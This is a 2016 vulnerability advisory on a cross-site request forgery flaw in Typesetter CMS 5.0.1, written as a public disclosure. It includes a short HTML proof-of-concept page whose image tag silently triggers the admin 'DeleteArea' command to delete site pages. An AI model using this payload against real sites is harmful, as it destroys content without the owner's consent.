Typesettercms 5.0.1 Cross Site Request Forgery
Posted on 07 August 2016
Document Title: =============== Typesettercms v5.0.1 - (Delete Files) CSRF Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1889 Release Date: ============= 2016-08-03 Vulnerability Laboratory ID (VL-ID): ==================================== 1889 Common Vulnerability Scoring System: ==================================== 3 Product & Service Introduction: =============================== Typesetter is an open source CMS written in PHP focused on ease of use with True WYSIWYG editing and flat-file storage. Typesetter CMS, A Free and Easy CMS for everyone. (Copy of the Vendor Homepage: http://www.typesettercms.com ) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered a cross site request forgery vulnerability in the official Typesettercms v5.0.1 web-application. Vulnerability Disclosure Timeline: ================================== 2016-08-03: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Typesetter Product: Typesettercms - Content Management System (Open Source) 5.0.1 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A cross site request forgery web vulnerability has been discovered in the official Typesettercms v5.0.1 web-application. The issue allows remote attackers to manipulate client-side browser to web-application requests to execute service functions via non-expired session credentials. The cross site request forgery vulnerability is located in the cms `file` parameter of the `extra` module POST method request. In the absence of a security token an attacker can execute code arbitrary against administrator account to permanenly delete the pages of the website via panel. Due to the infrastructure the issue becomes more critical without a checkbox to confirm the delete of any page. The security risk of the client-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.0. Exploitation of the non-persistent web vulnerability requires no privileged web application user account and low or medium user interaction. Successful exploitation of the vulnerability results in the execute of the delete function of pages without secure approval or validation. Proof of Concept (PoC): ======================= The csrf web vulnerability can be exploited by remote attackers without privileged web-application user account and with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: Exploitation <html> <title>Delet Pages CSRF</title> <!-- Cross Site Request Forgery --> <meta http-equiv="refresh" content="0"> <img src="http://localhost:8080/Admin/Extra?cmd=DeleteArea&file=[VULNERABILITY-LAB]"/> </meta> </html> Reference(s): http://localhost:8080/ http://localhost:8080/Admin/ http://localhost:8080/Admin/Extra http://localhost:8080/Admin/Extra?cmd= http://localhost:8080/Admin/Extra?cmd=DeleteArea http://localhost:8080/Admin/Extra?cmd=DeleteArea&file= Security Risk: ============== The security risk of the client-side cross site request forgery web vulnerability in the file parameter of the extra module is estimated as medium. (CVSS 3.0) Credits & Authors: ================== ZwX - (http://zwx.fr) [ http://www.vulnerability-lab.com/show.php?user=ZwX ] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission. Copyright A(c) 2016 | Vulnerability Laboratory - [Evolution Security GmbH]aC/ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com